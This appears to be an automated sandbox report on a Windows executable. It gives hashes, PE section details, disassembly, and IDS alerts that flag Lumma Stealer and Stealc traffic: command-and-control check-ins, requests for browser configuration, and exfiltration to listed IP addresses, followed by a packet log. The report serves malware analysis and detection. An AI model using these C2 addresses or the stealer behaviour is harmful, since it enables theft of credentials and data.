Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949704445687254
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	V65xPrgEHH.exe
File size:	1'882'112 bytes
MD5:	cd0ac63bd2ece29fe4ab3ae30df60d15
SHA1:	a9e3659ed1d331406a9bd7826b334df47b7a39e1
SHA256:	6b37c5347754c31bd9aa8b946410b71da1b74a777480839b378d748cfbce2210
SHA512:	9e14a59a590378a854c0262ccc34883583fb8176f71fb843ad05e18fab340e0957b73b83357630a9112d150253ac9f187e3edc56d2e1e58f80aea6e1dde5d941
SSDEEP:	24576:NQLO6ijXHg33UUyRRc6EAARJmWRURspriuai9cbmMo612OZpAIgrUMGfUN/yNNfb:NcLWi3UN/v0URQiuncYROZvKgEe1n
TLSH:	C59533080E1D96EEEEFD4970DBEE032967B89BC4C166BE3CB7580458564732EC1B54AC
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................@J...........@..........................pJ.....a.....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4AB0D83CEAh
setbe byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F4AB0D85CE5h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	dcec7c1ab414408e7d71b21b7e9741d2	False	0.9973646190068494	data	7.978985836318404	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x2b0	0x400	b1e85b1cd09caefc2d43268be72ef161	False	0.3603515625	data	5.183452444303608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2ac000	0x200	78d8184c811c57e4af7eeda4bec66164	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
slndhbsj	0x300000	0x1a3000	0x1a3000	9271416c1fcc0abc814c7637b4c60ae4	False	0.9951195181980907	data	7.9549506229212055	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uwdipoew	0x4a3000	0x1000	0x600	99683528f0297bad143c86083877c2ef	False	0.5846354166666666	data	5.015423750460815	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a4000	0x3000	0x2200	692137c8a5d6194675f47c70797b5915	False	0.07709099264705882	DOS executable (COM)	0.8100036528211879	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T10:08:24.071051+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49714	104.21.2.110	443	TCP
2024-12-17T10:08:24.071051+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49714	104.21.2.110	443	TCP
2024-12-17T10:08:25.309514+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49716	104.21.2.110	443	TCP
2024-12-17T10:08:26.247463+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49716	104.21.2.110	443	TCP
2024-12-17T10:08:26.247463+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49716	104.21.2.110	443	TCP
2024-12-17T10:08:27.983711+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49720	104.21.2.110	443	TCP
2024-12-17T10:08:28.821276+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49720	104.21.2.110	443	TCP
2024-12-17T10:08:30.327088+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49726	104.21.2.110	443	TCP
2024-12-17T10:08:32.728248+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49737	104.21.2.110	443	TCP
2024-12-17T10:08:35.458764+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49750	104.21.2.110	443	TCP
2024-12-17T10:08:38.531162+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49757	104.21.2.110	443	TCP
2024-12-17T10:08:43.040654+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49768	104.21.2.110	443	TCP
2024-12-17T10:08:44.599454+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49768	104.21.2.110	443	TCP
2024-12-17T10:08:46.063798+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49774	185.215.113.16	80	TCP
2024-12-17T10:09:01.161077+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49812	185.215.113.206	80	TCP
2024-12-17T10:09:01.755305+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49812	185.215.113.206	80	TCP
2024-12-17T10:09:01.877106+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49812	TCP
2024-12-17T10:09:02.196631+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49812	185.215.113.206	80	TCP
2024-12-17T10:09:02.318339+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49812	TCP
2024-12-17T10:09:03.814017+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49812	185.215.113.206	80	TCP
2024-12-17T10:09:04.988703+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49812	185.215.113.206	80	TCP
2024-12-17T10:09:32.778957+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49908	185.215.113.206	80	TCP
2024-12-17T10:09:34.838160+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49908	185.215.113.206	80	TCP
2024-12-17T10:09:36.064150+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49908	185.215.113.206	80	TCP
2024-12-17T10:09:37.154641+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49908	185.215.113.206	80	TCP
2024-12-17T10:09:40.616821+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49908	185.215.113.206	80	TCP
2024-12-17T10:09:41.907752+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49908	185.215.113.206	80	TCP
2024-12-17T10:09:48.689944+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49951	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 10:08:13.091054916 CET	443	49709	20.198.119.143	192.168.2.6
Dec 17, 2024 10:08:13.091078043 CET	443	49709	20.198.119.143	192.168.2.6
Dec 17, 2024 10:08:13.091089010 CET	443	49709	20.198.119.143	192.168.2.6
Dec 17, 2024 10:08:13.091159105 CET	49709	443	192.168.2.6	20.198.119.143
Dec 17, 2024 10:08:13.283497095 CET	443	49709	20.198.119.143	192.168.2.6
Dec 17, 2024 10:08:13.289138079 CET	49709	443	192.168.2.6	20.198.119.143
Dec 17, 2024 10:08:13.409456015 CET	443	49709	20.198.119.143	192.168.2.6
Dec 17, 2024 10:08:13.841258049 CET	443	49709	20.198.119.143	192.168.2.6
Dec 17, 2024 10:08:13.844207048 CET	49709	443	192.168.2.6	20.198.119.143
Dec 17, 2024 10:08:13.844243050 CET	49709	443	192.168.2.6	20.198.119.143
Dec 17, 2024 10:08:13.844336033 CET	49709	443	192.168.2.6	20.198.119.143
Dec 17, 2024 10:08:13.964287043 CET	443	49709	20.198.119.143	192.168.2.6
Dec 17, 2024 10:08:13.964306116 CET	443	49709	20.198.119.143	192.168.2.6
Dec 17, 2024 10:08:13.964529037 CET	443	49709	20.198.119.143	192.168.2.6
Dec 17, 2024 10:08:14.390571117 CET	443	49709	20.198.119.143	192.168.2.6
Dec 17, 2024 10:08:14.438431025 CET	49709	443	192.168.2.6	20.198.119.143
Dec 17, 2024 10:08:14.582529068 CET	443	49709	20.198.119.143	192.168.2.6
Dec 17, 2024 10:08:14.625912905 CET	49709	443	192.168.2.6	20.198.119.143
Dec 17, 2024 10:08:14.774461985 CET	443	49709	20.198.119.143	192.168.2.6
Dec 17, 2024 10:08:14.775382996 CET	49709	443	192.168.2.6	20.198.119.143
Dec 17, 2024 10:08:14.992125034 CET	443	49709	20.198.119.143	192.168.2.6
Dec 17, 2024 10:08:15.321589947 CET	443	49709	20.198.119.143	192.168.2.6
Dec 17, 2024 10:08:15.375956059 CET	49709	443	192.168.2.6	20.198.119.143
Dec 17, 2024 10:08:16.438440084 CET	49673	443	192.168.2.6	173.222.162.64
Dec 17, 2024 10:08:16.438440084 CET	49674	443	192.168.2.6	173.222.162.64
Dec 17, 2024 10:08:16.766513109 CET	49672	443	192.168.2.6	173.222.162.64
Dec 17, 2024 10:08:20.633574009 CET	49713	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:20.633630991 CET	443	49713	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:20.633758068 CET	49713	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:20.675143003 CET	49713	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:20.675172091 CET	443	49713	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:21.687413931 CET	49714	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:21.687458038 CET	443	49714	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:21.687532902 CET	49714	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:21.691282988 CET	49714	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:21.691297054 CET	443	49714	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:22.909794092 CET	443	49714	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:22.909888983 CET	49714	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:22.912085056 CET	49714	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:22.912096024 CET	443	49714	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:22.912440062 CET	443	49714	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:22.932367086 CET	443	49713	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:22.932485104 CET	49713	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:22.935558081 CET	49713	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:22.935575962 CET	443	49713	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:22.935868979 CET	443	49713	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:22.954025030 CET	49714	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:22.956794977 CET	49713	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:22.956918955 CET	49713	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:22.956927061 CET	443	49713	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:22.957324982 CET	49713	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:22.986347914 CET	49714	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:22.986361980 CET	49714	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:22.986557961 CET	443	49714	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:23.003334999 CET	443	49713	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:23.631869078 CET	443	49713	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:23.631963968 CET	443	49713	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:23.632046938 CET	49713	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:23.632308960 CET	49713	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:23.632328033 CET	443	49713	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:24.071053982 CET	443	49714	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:24.071150064 CET	443	49714	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:24.071213961 CET	49714	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:24.083754063 CET	49714	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:24.083784103 CET	443	49714	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:24.091753960 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:24.091799974 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:24.091906071 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:24.092163086 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:24.092175007 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:25.309433937 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:25.309514046 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:25.311036110 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:25.311045885 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:25.311388969 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:25.312695026 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:25.312788963 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:25.312803030 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.047812939 CET	49674	443	192.168.2.6	173.222.162.64
Dec 17, 2024 10:08:26.047898054 CET	49673	443	192.168.2.6	173.222.162.64
Dec 17, 2024 10:08:26.247488022 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.247535944 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.247571945 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.247589111 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:26.247597933 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.247667074 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.247695923 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.247724056 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:26.247731924 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.247741938 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:26.255970001 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.256069899 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:26.256083012 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.273647070 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.273701906 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:26.273710966 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.329041004 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:26.367151976 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.375921011 CET	49672	443	192.168.2.6	173.222.162.64
Dec 17, 2024 10:08:26.422789097 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:26.422813892 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.443469048 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.443517923 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.443520069 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:26.443545103 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.443614960 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:26.443614960 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.443666935 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:26.444031000 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:26.444051027 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.444087982 CET	49716	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:26.444093943 CET	443	49716	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.767788887 CET	49720	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:26.767826080 CET	443	49720	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:26.767898083 CET	49720	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:26.768284082 CET	49720	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:26.768299103 CET	443	49720	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:27.983634949 CET	443	49720	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:27.983711004 CET	49720	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:27.985160112 CET	49720	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:27.985167027 CET	443	49720	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:27.985413074 CET	443	49720	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:27.986821890 CET	49720	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:27.987080097 CET	49720	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:27.987107992 CET	443	49720	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:28.777757883 CET	443	49704	173.222.162.64	192.168.2.6
Dec 17, 2024 10:08:28.777951002 CET	49704	443	192.168.2.6	173.222.162.64
Dec 17, 2024 10:08:28.821302891 CET	443	49720	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:28.821408033 CET	443	49720	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:28.821743011 CET	49720	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:28.831084013 CET	49720	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:28.831103086 CET	443	49720	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:29.106914043 CET	49726	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:29.106951952 CET	443	49726	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:29.107062101 CET	49726	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:29.107593060 CET	49726	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:29.107604027 CET	443	49726	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:29.305694103 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:29.305721998 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:29.305850029 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:29.306832075 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:29.306873083 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:29.307015896 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:29.307472944 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:29.307482004 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:29.307605028 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:29.307641983 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:29.307655096 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:29.307871103 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:29.307885885 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:29.307970047 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:29.308495045 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:29.308510065 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:29.308624983 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:29.308635950 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:29.309134960 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:29.309153080 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:30.326977968 CET	443	49726	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:30.327088118 CET	49726	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:30.449014902 CET	49726	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:30.449031115 CET	443	49726	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:30.450098991 CET	443	49726	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:30.487272978 CET	49726	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:30.487653017 CET	49726	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:30.487706900 CET	443	49726	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:30.487823009 CET	49726	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:30.487833023 CET	443	49726	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:30.839119911 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:30.839201927 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:30.841975927 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:30.842042923 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:30.843054056 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:30.843139887 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:30.851479053 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:30.851573944 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:30.927817106 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:30.927833080 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:30.928206921 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:30.928214073 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:30.928225040 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:30.928261042 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:30.928416014 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:30.928423882 CET	443	49730	150.171.27.10	192.168.2.6
